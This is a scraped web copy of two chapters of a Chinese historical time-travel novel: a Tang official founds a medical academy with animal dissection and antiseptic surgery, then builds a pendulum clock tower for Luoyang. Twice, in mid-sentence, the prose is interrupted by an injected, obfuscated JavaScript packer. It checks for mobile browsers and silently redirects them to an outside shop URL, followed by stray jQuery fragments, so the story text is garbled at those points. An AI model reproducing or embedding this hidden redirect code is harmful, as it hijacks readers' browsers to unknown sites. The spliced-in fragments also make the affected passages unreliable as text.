秦鸣鹤抚摸着那些图册,内心剧烈挣扎。作为一名有追求的医者,他当然渴望更了解人体的奥秘,以精进医术。但伦理的枷锁、传统的惯性,如同沉重的帷幕。“太子太师,此心此理,老朽岂能不知?然,人体解剖,千难万难。何处得来遗体?纵是罪囚、无主尸身,亦犯大忌,必遭物议,言官**,恐祸及格物院与太子太师清誉!”
“不急于求成,可从长计议,循序渐进。”李瑾早已有预案,“第一步,我欲奏请天后、陛下,于格物院下,正式设立‘大唐医学院’,不同于太医署之侍奉宫廷,亦不同于民间师带徒。医学院设‘医学’(内科、瘟病)、‘疡科’(外科、伤科)、‘针灸’、‘正骨’、‘妇人’、‘小儿’、‘五官’、‘本草药石’诸科,系统教授。教材便以《开元宝典·医道门》为基,融汇古今。招生对象,不仅限于儒医子弟,亦招收识字的军中疡医、药户子弟、乃至有心学医的僧人、道士。此院宗旨,在培养通晓医理、精通技艺之实用医者,尤重外伤、疫病防治,以应军国百姓之急需。”
“第二步,”李瑾压低声音,“解剖之事,可分步而行。先不涉人体,而以猕猴、野犬、家猪等与人体相近之兽类为范本,详加解剖,绘图记录,比较异同,以明大体结构、血脉走向。此事可秘密进行,选可靠之人,于僻静处所为之。所得知识,可先用于兽类,再谨慎推论于人体。同时,可广泛搜集军中处理重伤残肢、疡医治疗痈疽疮疡时所见,以及仵作(古代法医)验尸之记录(此需与刑部、大理寺谨慎沟通),互相印证。待时机成熟,知识积累足够,或可争取特许,以无人认领之死囚、战场无名尸身,进行极少数的、严谨的、以研究为目的的解剖,并需订立严格章程,尊重亡者,事后妥善安葬。”
秦鸣鹤思虑良久,长叹一声:“太子太师思虑周详,步步为营,老朽……愿附骥尾,为我华夏医道,开一新途。纵然身前身后,谤满天下,亦在所不惜!”
有了秦鸣鹤的支持,李瑾立即行动起来。他首先向武后和高宗上了一道长长的奏表,详细陈述了当前军中医护、民间疫病防治的薄弱,以及《开元宝典》编撰过程中发现的医药知识混乱、传承保守等问题。他提出,为“上以护佑天子百官之康宁,下以拯济军国民人之疾苦”,当“博采众长,融会古今,建立医教,系统传承”,请求正式设立“大唐医学院”,隶属格物院,但享有独立招生、教学、研究之权,并请求朝廷在政策、经费上予以支持,并准许其在特定情况下,为精研医术,可“观察兽体,类比人身,并谨慎参考军、刑之有限记录,以明形体结构,精进外科正骨之术”,措辞极为谨慎,避开了“解剖”这个敏感词,强调目的是为了治疗外伤、战伤,并应对疫病。
奏表在朝中引起激烈争论。反对者言辞激烈:“以禽兽比人,已是褒渎!还要参考刑狱尸身记录,殊为不祥!”“医术关乎仁心,岂可如工匠般操刀弄斧?此非医道,乃屠沽之术!”“身体发肤,受之父母,孝之始也。如此作为,将置人伦于何地?”
支持者则多为务实派将领(他们深知军中伤兵若有更好的外科救治意味着什么)、部分经历过疫情的地方官,以及被李瑾私下说服的、对医学有开明看法的官员。双方争执不下。
关键时刻,武后发话了。她先是肯定了“仁心仁术”的重要性,接着话锋一转:“然,若无精妙之术,仁心何以施救?军中将士为国捐躯,若因救治无方而殒命,岂非令忠魂含恨?去岁洛阳时疫,若非格物院防疫之法略有效验,死者何止于此?太子太师所奏,重点在于培养疗伤防疫之实用医者,观察兽体亦为精进救治之术,且明言谨慎,不违大体。朕以为,可试行之。医学院可设,然需严加管束,以临床诊治、防疫活人为先,研究之事,需有限度,不得惊扰世俗,违者严惩。”
有了武后的定调,加上高宗皇帝对当年秦鸣鹤金针之术的好感,以及自身对“风疾”等病症治愈的渴望,最终下旨批准。麟德十一年春,“大唐医学院”在格物院旁专辟的院落正式挂牌成立。李瑾任名义上的“院监”,秦鸣鹤实际主持院务,并征召了太医署数位在伤科、针灸、本草方面有真才实学的博士,以及多位民间名医、军中经验丰富的疡医担任教**。首批学员一百二十人,来源复杂,有太医署的年轻医官,有民间郎中的子弟,有识字的军中伤兵老卒,甚至还有几个对医术感兴趣的道士和还俗僧人。
医学院的课程设置,体现了李瑾“融合古今,重视实践”的思路。上午学习《黄帝内经》、《伤寒论》、《神农本草经》等经典理论,但要求结合病例讨论;下午则分科学习,疡科学生必须学习初步的“形体明解”(以兽类解剖图和模型为主),练习伤口清洗、缝合、包扎技术,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086407|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
并使用特制的猪肉、羊肠进行模拟手术;医学(内科)学生则需学习疫病辨识、防疫措施,并开始尝试记录详细病案,包括症状、用药、疗效;药科学生则需学习药材辨识、炮制,甚至尝试用蒸馏法提纯酒精(用于消毒)、萃取某些植物精油。
最大的突破,发生在医学院成立三个月后。在极为保密的情况下,秦鸣鹤带领几名最信得过的疡科教**和优秀学员,在城外一处僻静的庄园内,进行了第一次猕猴解剖。李瑾亲自到场监督。当那只被麻醉(使用了改进的麻沸散配合高度酒)的猕猴被固定好,秦鸣鹤手持一柄用沸水煮过、又在酒精灯上灼烧过的小刀,颤抖着划开皮**时,所有人都屏住了呼吸。肌肉的纹理、筋膜的走向、骨骼的连接、内脏的位置……那些只在模糊传说和图谱中存在的结构,第一次如此真实、清晰地展现在一群医者面前。他们小心翼翼地分离、观察、记录、绘图,并与之前根据兽类推测的人体结构图进行比对、修正。
这次解剖本身,或许在医学史上微不足道,但对于在场的每一个人,其心理冲击是巨大的。神秘感被打破,代之以一种混杂着敬畏、激动和强烈求知欲的复杂情绪。原来,生命的构造如此精妙,又如此“实在”。
随后,野犬、家猪的解剖也陆续进行,并开始系统研究不同部位创伤的愈合过程,尝试不同的清创、缝合方法和药物。酒精的消毒作用被明确证实,煮沸布匹、器械的重要性得到强调。尽管“病菌”概念尚未提出,但“邪毒”、“腐气”可通过不洁之物传播的观念,以及“洁净避秽”的操作规范,开始在医学院内部成为铁律。
同时,秦鸣鹤通过私人关系,从刑部、大理寺的仵作那里,获得了部分无主尸身或**犯尸体的粗略检验记录(主要是体表特征、伤痕、骨骼损伤情况),并与解剖所见相互印证。他还秘密寻访了几位经验极为丰富、曾处理过严重腹部外伤(多为战场或意外)而侥幸存活病例的军中医官和民间疡医,记录下他们模糊的记忆和手法。
这些点点滴滴的知识,被不断整理、绘制、修正,形成了一系列更为精确的人体解剖图谱(仍标注大量存疑和推测)、外科手术器械图(设计了更小巧的刀、剪、钳、钩,并要求用精钢打造,便于煮沸消毒)、外伤处理规范、常见骨折固定法、以及针对痈疽、箭伤、刀伤、烧伤的分级处理方案。这些内容,被作为“疡科高级教本”,在医学院内部小范围传授。
麟德十一年秋,一场边境冲突中,数名重伤的唐军士卒被送回洛阳。军中医官束手无策。医学院请求介入。在得到兵部特许后,秦鸣鹤带领疡科学员,在严格消毒(沸水、酒精)和麻醉(改良麻沸散)下,为一名腹部贯通伤、肠管破裂的士兵进行了清创、肠管缝合、腹腔清理、腹壁缝合手术。术后,伤员被安置在专门准备的、保持洁净的隔离病房,由学员轮流监护,以糖盐水维持,外敷特制“玉红生肌膏”(一种改良的促进愈合药膏)。尽管伤员最终因失血过多和术后并发症在五日后去世,但手术本身成功了——伤口没有出现严重的溃烂,这给了医学院上下巨大的信心。
随后,他们对几名四肢骨折的伤员使用了新式的夹板固定法(基于更准确的骨骼知识),对复杂伤口进行了更彻底的清创和缝合。这些伤员的愈合速度、感染比例,明显优于传统方法处理的伤员。消息逐渐在军中传开,一些中下级将领开始主动将重伤员送往医学院附属的“伤疗所”尝试治疗。
医学院的名声,首先在军队和下层百姓中悄然传开。虽然士林清流中对“操刀弄血”仍有鄙夷,但实实在在的疗效,逐渐改变着一些人的看法。而医学院培养的第一批学员,也开始将“洁净”、“消毒”、“规范操作”的理念,以及一些简单有效的外伤处理、正骨手法,带往军队和民间。
李瑾知道,真正的医学**,路途尚远。解剖学的伦理障碍、病菌理论的缺失、无菌操作的原始、麻醉和止血技术的落后、对多数内科疾病依然无力的现实……都是巨大的挑战。但第一步已经迈出。一所系统传授医学知识、强调实证观察、开始触碰人体奥秘、并将外科和防疫提到重要位置的医学院,已经建立。一种新的、融合了传统智慧与实证精神的医学思想和实践,如同石下嫩芽,开始在这片古老的土地上,艰难而顽强地生长。
医学院深处,那间保密的研究室墙上,挂着一幅新绘制的人体骨骼肌肉·图,比最初李瑾提供的草图精确了许多。秦鸣鹤常常站在图前,久久凝视,对身边的弟子叹道:“先贤言‘上工治未病’,然伤病已生,则需‘上工明其形,知其所以然,而后能治’。此路漫漫,吾等当如履薄冰,慎之又慎,然其志不可夺也。”
窗外,是洛阳城连绵的屋舍,无数生命在其中诞生、成长、病痛、衰老。一场静默的、关乎亿万生民健康的革新,已然在格物院一隅,悄然播下了最关键的第一粒种子。
第248章 钟表定时间
医学院的“洁净”与“解剖”之风尚在洛阳城的街谈巷议中引发着或惊或疑的涟漪,格物院的另一处工坊内,一项看似更为“平和”、实则将更深刻改变世人生活与观念根基的发明,正经历着最后的关键调试。这里,是格物院下设的“巧器坊”,坊主是位年近四旬、沉默寡言却有一双神乎其技巧手的匠作大家,宇文恪。他此刻正屏息凝神,俯身于一座近一人高的复杂木质机械结构前,小心翼翼地调节着最后一组黄铜齿轮的啮合。
机械的核心,是一个缓慢而稳定摆动的长摆。摆锤是精铜所铸,形如泪滴,其悬挂点经过精心设计,近乎无摩擦。长摆每一次规律性的往复,通过一套精巧的“擒纵机构”(escapement)——这是李瑾根据记忆描述核心原理,宇文恪带领能工巧匠经过无数次失败才最终实现的——转化为一系列清脆的“咔嗒”声,并驱动着背后层层叠叠、大小不一的齿轮组缓缓转动。齿轮的末端,连接着三根纤细的指针,在一个标有精细刻度的圆盘上,以不同的速度,平稳地移动着。圆盘上,除了传统的十二时辰标记,更在内圈细密地划分出九十六格,对应着将一日均分的“刻”的更精细单位(一刻约合现代15分钟),甚至还有更小的分割。
这就是格物院耗时近三年,在吸收了司天台历代计时仪器(如浑仪、漏刻)精华,并融入李瑾提出的全新思路后,最终试制成功的大型机械摆钟,被李瑾命名为“璇玑授时仪”。它的目标,是提供远比传统漏刻、日晷、燃香、更鼓更为精确、稳定、且不受天气昼夜影响的时间计量。
时间,这个最为基础又最为神秘的概念,在传统社会,其计量是模糊而充满弹性的。“日出而作,日入而息”,依靠的是天象;“午时三刻”,依赖的是日晷或漏刻的粗略读数;夜晚打更,全凭更夫的经验和香烛燃烧。朝廷的司天台,通过浑仪观测和精密漏刻,能提供相对准确的标准时间,用于报时、制定历法,但这种精度和标准,难以传递到民间,更无法应用于需要精确同步的场合,如航海定位、协同军事行动、乃至……未来的机械运作。
李瑾深知精确计时对科学发展、技术进步、乃至社会运行效率提升的至关重要性。天文观测需要精确计时来测定星体位置;航海定位(经度测定)的核心就是精确时间;物理实验(如落体、单摆)需要测量短暂时间间隔;而一旦蒸汽机或其他连续工作的机械出现,统一、精确的工作节拍就更不可或缺。他最初的目标,是制造出能够随身携带的怀表或座钟,但受限于工艺——特别是游丝发条和精密小齿轮的加工难度——暂时难以实现。于是退而求其次,先集中力量制造大型、稳定的公共钟楼用钟,解决标准时间发布的问题。
宇文恪面前的这台,是第三代样机。第一代依靠水轮驱动,受水流稳定性影响太大;第二代尝试用重锤下落驱动,但擒纵机构粗糙,误差惊人。直到李瑾提出了“单摆等时性”的原理(尽管他无法给出精确公式,但通过实验演示了摆长固定时,摆动周期基本恒定),并勾勒出类似“锚形擒纵机构”的构思,局面才豁然开朗。宇文恪带领巧器坊的工匠们,用最上等的硬木、精炼的黄铜,以微雕般的技艺,手工打造、打磨每一个齿轮,调整每一个轴承,寻找最合适的摆长和摆锤重量,终于使这台钟的日误差,在理想条件下,能够控制在一刻钟(约15分钟)以内。这在大唐,已经是石破天惊的精度了。
“成了。”宇文恪用特制的、薄如蝉翼的铜片,最后轻触了一下一个微调齿轮的齿尖,侧耳倾听那“咔、咔、咔”的规律声响,又抬头紧盯着圆盘上指针的移动,与旁边一具从司天台借来的、最精密的“称水漏刻”进行对比。两刻钟后,漏刻的浮箭显示与钟盘指针指示的时间,肉眼几乎看不出差别。他布满血丝的眼睛里,终于闪过一丝如释重负的微光,转向一直静立旁观、同样满眼期待的李瑾,深深一揖:“太子太师,此仪……似乎成了。连续运转三日,日差在半刻至一刻之间,尚需长期观察校准,但已远胜漏刻之易受水温、水质、蒸发所扰。”
李瑾走到这座滴答作响的机械前,伸出手,感受着那规律的、近乎永恒的节奏。滴答,滴答……这是将无形的时间,转化为有形运动、可听声音、可视刻度的尝试。他轻轻抚过光滑的钟盘,上面除了时辰、刻,还标识了“子初、子正、丑初、丑正”等更细的节点,甚至尝试用罗马数字(被他称为“番数”)标注了内圈的小格。“辛苦了,宇文坊主,还有诸位大匠。此物成,功在千秋。”
他沉吟片刻,道:“此钟太大,不便移动。下一步,需以此为基础,研制更小、可携带之时计。其动力,可试以卷紧之钢条(发条)替代重锤,以更小巧之摆轮游丝替代长摆。此事更难,不急一时。当前要务,是将此‘璇玑授时仪’安放于洛阳城内醒目高处,使其成为全城可见、可闻之标准时间。以钟声报时,统一全城时刻。此钟,可名之‘神都标准钟’。”
“神都标准钟?”宇文恪略一思忖,便明白了李瑾的深意。这不仅仅是一个报时工具,更是一个标准的物化,一个秩序的象征,一个新时间观念的宣示。他重重点头。
数日后,在格物院和将作监的联合努力下,一座高约五丈的木石结构钟楼,在洛阳定鼎门内、天街起点附近的广场上拔地而起。钟楼顶层,安放着那座精心装饰过的“璇玑授时仪”,巨大的钟面朝向东南西北四个方向,以便远处观瞧。钟楼内设有专职的“司辰生”,由算学馆和地舆馆的学员轮值,负责照看机械、上弦(重锤驱动,需每日提升重锤)、校准(每日根据正午日晷或夜间测星进行微调),并按照钟盘指示,在整点、半点(对应“正”和“初”)敲响楼顶悬挂的巨钟。
麟德十二年元日,一个晴朗的早晨。洛阳城的百姓们像往常一样开始一天的营生。忽然,一声沉浑、悠长、穿透力极强的钟声,从定鼎门方向传来,在清冷的空气中回荡。
“铛——”
许多人茫然抬头,不明所以。
紧接着,钟楼顶层,有身着青色吏员服饰的司辰生,用特制的铁皮喇叭,向四方高声宣喝:“卯时正点——晨钟鸣,万象新——!”
随后,钟楼底层,巨大的木牌被翻动,显示出“卯正”的字样。同时,钟楼四面垂下的绳索被拉动,四面钟盘外缘,代表“卯”和“正”的符号后面,有一面小小的红色旗帜升起,醒目异常。
短暂的寂静后,人群开始骚动、议论。
“那是何物?”
“听说是格物院造的‘神都标准钟’,以后看时辰,就看那楼上的盘和旗!”
“方才那是报时?卯时正点?比俺家漏壶好像准些……”
“钟声真响,怕是全城都能听见!”
从此,每天十二个时辰,每个时辰的“初”(开始)和“正”(中间),洛阳城的中心都会响起悠扬的报时钟声,风雨无阻。白天观盘看旗,夜晚听钟辨时。很快,东市、西市的主要商家,朝廷各衙署,乃至一些大户人家,开始以钟楼时间为准,校准自家的漏刻、日晷。一种前所未有的、统一的、精确到“刻”的时间感,开始渗入洛阳城的肌理。
影响是潜移默化而深远的。
首先感受到便利的,是司天台。以往校准漏刻、观测星象计时,极为繁琐。如今,只需在夜间用星象校准一次钟楼时间(钟楼顶设有小型观星台),后续一段时间内的观测计时,都可以依靠钟楼钟声和钟盘,精度和效率大大提高。司天台监甚至主动请求,在司天台内也安装一座较小的、由钟楼通过“对时”校准的副钟,用于内部观测。
其次是水师和正在蓬勃发展的海商。海军将领们敏锐地意识到,在茫茫大海上,若能有一种不受风浪、天气影响的精确计时工具,对推算航速、定位(虽然经度测量还需要更精密的便携计时器,但精确时间是基础)将有巨大帮助。他们向格物院定制了简化、加固、适应船上颠簸环境的大型“船钟”,虽然精度远不如钟楼大钟,但已比沙漏、燃香可靠得多。海商们也闻风而来,希望为他们的商船配备计时工具,以便更精确地安排航行、计算航程。
工坊和工部的工程营造,也开始受益。大型工程的协同施工,如宫殿建造、水利开挖,需要各个工段协调时间。以往靠更鼓或估摸,常有误差。现在,工部在几个大型
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086408|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
工地附近设立了“时辰牌”,派专人根据钟楼时间更新,工头们据此安排上工、休息、换班,效率提升,**减少。
甚至连洛阳两市的商户,也开始调整营业时间,以钟楼报时为参照,约定俗成地形成了更统一的“开市”、“闭市”时刻。一些高级酒肆、茶馆,甚至开始提供“计时服务”,按“刻”收费,虽然最初只是噱头,但标志着时间作为一种可计量、可消费的资源的观念,开始萌芽。
当然,质疑和不适也随之而来。不少士大夫和守旧百姓认为,这是“以机巧乱天时”,“时辰自有天定,日出月落,四时更替,方是天道。以机关齿轮划分时刻,拘泥刻板,失了天人合一的韵味。”更有人觉得那规律的、无处不在的钟声,是一种侵扰,打破了自然的生活节奏。
一次朝会上,便有御史出列**:“太子太师于定鼎门设钟楼,以奇技报时,声传街巷,搅扰民居清静,更使市井小民斤斤于时刻,舍本逐末,有伤淳朴之风。且此物靡费颇巨,恐启奢靡之端。”
李瑾出列,从容应对:“陛下,天后。古人立圭表、制漏刻,亦为测时。今之‘标准钟’,不过使漏刻更精、报时更远而已,其用一也。百工劳作,市贾交易,舟车行旅,乃至朝廷议事、军令传递,无不需要知晓时刻。以往时刻不一,误差甚大,常误事机。今立标准,使全城有统一之时,各安其业,各守其时,岂非便民利国之举?至于钟声,可调整响度时辰,以不扰夜寐为度。且此钟之设,尤利军国。水师巡航,海上计时至关紧要;边关烽燧,传递军情需统一步调。此非奇技淫巧,实为经世致用之器。”
他顿了顿,又道:“至于‘斤斤于时刻’,臣以为,非但不为过,反是应有之义。农人耕耘,需趁天时;工匠造作,计工论值;商贾往来,守信履约,皆需时刻为准。精确计时,非为拘束,实为效率,为秩序,为信诺。譬如两军约期合击,时辰差之毫厘,胜负谬以千里。此非小事。”
李瑾的话,从实用和军国角度出发,说服了大部分朝臣,连武后也微微颔首。毕竟,那响彻全城的、代表秩序和权威的钟声,在某种程度上,也象征着皇权对时间的掌控,对都城节奏的统领。
朝会之后,李瑾被召至贞观殿偏殿。武后饶有兴致地问起“标准钟”的细节,特别是其精度和能否推广。李瑾据实以告,并提到正在研制更小型的“桌钟”、“船钟”,以及未来更精密的“便携时计”的设想,但坦言工艺难度极大,非一时之功。
“此物甚好。”武后凤目流转,看着案头一座格物院进献的小型模型钟(仅能演示原理,不能长时间运行),听着那模拟的微弱滴答声,“有了它,宫里办事,倒是齐整了许多。三郎,这‘标准钟’,可能推广至长安?乃至各州大城?”
“回天后,大型钟楼建造、维护所费不赀,且需专门匠人时时校准。目前恐难遍及天下。然,可先在长安、扬州、广州、益州等要冲大城,仿洛阳例,建造标准钟楼。其余州府,可先颁行标准时辰,以漏刻、日晷为参照,渐次统一。待小型钟表工艺成熟,成本降低,或可慢慢普及于官署、驿站、富户。”李瑾谨慎地回答。
“嗯,便依此议。长安钟楼,着工部与格物院会办,务求胜过洛阳。”武后嘴角露出一丝笑意,“让西京的臣民,也听听这新时代的声响。”
“滴答,滴答……”钟楼之上,铜摆不知疲倦地往复运动,齿轮咬合,推动着指针,在刻度盘上划出看不见的轨迹,也划开了新时代的帷幕。时间,这个曾经模糊的、受制于天象的、带有浓厚神秘色彩的概念,开始被人类以机械的方式捕获、测量、标准化。它不再仅仅是“时辰”,而是可以被分割、被计量、被精确管理的“时间”。这细微而坚定的滴答声,如同新时代的心跳,预示着更快的节奏、更严密的组织、更精确的协作,以及一个即将被重新定义和规划的世界。
巧器坊内,宇文恪和他的徒弟们,已经开始对着桌上更小、更精密的齿轮和初步成型的“摆轮游丝”结构,皱眉苦思。便携时计的道路,依然漫长,但那规律的钟声,已为这条路,标定了第一个清晰、坚定的节拍。